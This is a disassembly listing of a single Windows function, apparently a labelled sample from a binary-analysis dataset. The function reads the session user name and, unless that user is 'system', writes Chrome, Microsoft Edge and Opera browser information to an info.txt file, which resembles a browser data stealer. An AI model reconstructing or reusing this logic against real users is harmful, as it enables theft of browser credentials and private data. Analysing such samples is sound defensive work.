Function at 0x40a820
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d3b76
mov eax, dword fs:[0]
push eax
sub esp, 0x270
mov eax, dword [0x4f3070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x114], 0x80
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x40a959
push str.system
lea edx, [ebp - 0x110]
push edx
call fcn.004be0f7
add esp, 8
test eax, eax
jne 0x40a959
push 1
push 0x40
push 2
push str.debug.txt
lea ecx, [ebp - 0x27c]
call fcn.0040ac50
mov dword [ebp - 4], 0
push 0x4e1ec8
lea eax, [ebp - 0x110]
push eax
push str._______Current_user_is_:
lea ecx, [ebp - 0x27c]
push ecx
call fcn.0040d6f0
add esp, 8
push eax
call fcn.0040daf0
add esp, 8
push eax
call fcn.0040d6f0
add esp, 8
push str._______Switching_to_ordinay_user..._n
lea edx, [ebp - 0x27c]
push edx
call fcn.0040d6f0
add esp, 8
lea eax, [ebp - 0x27c]
push eax
call fcn.004118f0
add esp, 4
push str._______Get_the_result_in_the_file__info.txt__of_current_dictionary._n
lea ecx, [ebp - 0x27c]
push ecx
call fcn.0040d6f0
add esp, 8
push str._______end_n
lea edx, [ebp - 0x27c]
push edx
call fcn.0040d6f0
add esp, 8
lea ecx, [ebp - 0x27c]
call fcn.0040abc0
mov dword [ebp - 0x118], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x27c]
call fcn.0040ab10
mov eax, dword [ebp - 0x118]
jmp 0x40aaf0
push 1
push 0x40
push 2
push str.info.txt
lea ecx, [ebp - 0x1cc]
call fcn.0040bd70
mov dword [ebp - 4], 1
call fcn.0040a640
movzx eax, al
test eax, eax
je 0x40a9d1
push 0x4e1f70
lea ecx, [ebp - 0x1cc]
push ecx
call fcn.0040d010
add esp, 8
push str._Chrome_Info__n
lea edx, [ebp - 0x1cc]
push edx
call fcn.0040d010
add esp, 8
push 0x4e2020
lea eax, [ebp - 0x1cc]
push eax
call fcn.0040d010
add esp, 8
lea ecx, [ebp - 0x1cc]
push ecx
push 0
call fcn.00409380
add esp, 8
jmp 0x40a9e5
push str.No_Chrome_Info..._n
lea edx, [ebp - 0x1cc]
push edx
call fcn.0040d010
add esp, 8
call fcn.0040a550
movzx eax, al
test eax, eax
je 0x40aa40
push 0x4e20a8
lea ecx, [ebp - 0x1cc]
push ecx
call fcn.0040d010
add esp, 8
push str._Microsoft_Edge_Info__n
lea edx, [ebp - 0x1cc]
push edx
call fcn.0040d010
add esp, 8
push 0x4e2158
lea eax, [ebp - 0x1cc]
push eax
call fcn.0040d010
add esp, 8
lea ecx, [ebp - 0x1cc]
push ecx
push 1
call fcn.00409380
add esp, 8
jmp 0x40aa54
push str.No_Microsoft_Edge_Info..._n
lea edx, [ebp - 0x1cc]
push edx
call fcn.0040d010
add esp, 8
call fcn.0040a730
movzx eax, al
test eax, eax
je 0x40aaaf
push str._n
lea ecx, [ebp - 0x1cc]
push ecx
call fcn.0040d010
add esp, 8
push str._Opera_Info__n
lea edx, [ebp - 0x1cc]
push edx
call fcn.0040d010
add esp, 8
push str._n_n
lea eax, [ebp - 0x1cc]
push eax
call fcn.0040d010
add esp, 8
lea ecx, [ebp - 0x1cc]
push ecx
push 2
call fcn.00409380
add esp, 8
jmp 0x40aac3
push str.No_Opera_Info..._n
lea edx, [ebp - 0x1cc]
push edx
call fcn.0040d010
add esp, 8
lea ecx, [ebp - 0x1cc]
call fcn.0040bce0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1cc]
call fcn.0040ab40
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b4119
mov esp, ebp
pop ebp
ret